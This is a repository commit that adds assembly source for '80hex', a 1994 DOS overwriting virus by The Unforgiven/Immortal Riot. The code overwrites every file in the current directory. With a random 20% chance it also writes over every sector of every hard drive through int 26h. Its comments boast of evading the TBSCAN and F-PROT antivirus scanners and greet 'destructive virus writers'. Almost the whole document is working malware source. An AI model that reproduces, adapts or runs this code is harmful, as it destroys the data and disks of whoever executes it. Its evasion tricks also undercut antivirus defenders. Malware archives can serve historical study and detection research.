Add files via upload

2026-06-15 15:29:23 +00:00 · 2021-01-12 17:29:01 -06:00
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+; ------------------------------------------------------------------------------
+;                          - 80hex virus -
+;              (c) 1994 The Unforgiven/Immortal Riot
+
+; Pay-Load function:
+;  This will be dropped to the file c:\dos\keyb.com, that often
+;  is called from autoexec.bat, which will result in that all files
+;  in DOS being overwritten. Eventually all hds will be trashed as well.
+
+; General-information:
+;  It's a simple overwriting virus, BUT not released 'alone' as
+;  the purpose as a virus that will infect systems and travel
+;  around the world. It's rather an original pay-load, outsmarted
+;  by my creative/destructive brain.
+
+;  It's not encrypted, still *NO* anti-virus detects it, this is probably
+;  due to its simplistic shape. It's *highly* destructive, and is really
+;  more or less a trojan. But it can replicate, so...
+
+;  Greetings to all destructive virus writers!
+;               - The Unforgiven/Immortal Riot
+
+
+                   ;Riot.trivial.80h
+
+.model tiny
+.code
+org    100h
+
+start:
+dec   byte ptr offset files       ; tricking tbscan ! 
+add   ah,4eh                      ; tricking f-prot !
+mov   dx, offset files
+next: int 21h
+
+jnc   open
+
+mov   ah,2ch                      ; Value of 1/100 of a second
+int   21h
+cmp   dl,79                       ; 20%
+jb    quit                        ; 
+
+mov al,2h                         
+
+drive:                            ; Harddrive, seek and destroy!
+mov   cx,1                                                       
+lea   bx,virus          
+cwd                               ; clear dx (ax = <8000h) 
+Next_Sector:                      
+int   26h                                                                 
+inc   dx                
+jnc   next_sector                 ; all sectors                                
+inc   al                        
+jmp   short drive                 ; all drives                                 
+
+quit:
+ret
+
+open:
+inc   byte ptr offset files
+
+add   ax,3d02h                    
+mov   dx, offset 9eh
+int   21h
+
+write:
+xchg  ax,bx
+
+mov   ah,40h
+mov   dx, offset start
+mov   cx, endoffile - start
+int   21h
+
+close:
+sub   ah,2
+int   21h
+
+mov   ah,4fh                              
+jmp   short next
+
+data:
+files db "+.*",0                                       ; => *.*
+virus db "Materialism - the religion of today, "       
+truth db "ain't it sad?"                               
+
+endoffile:
+end start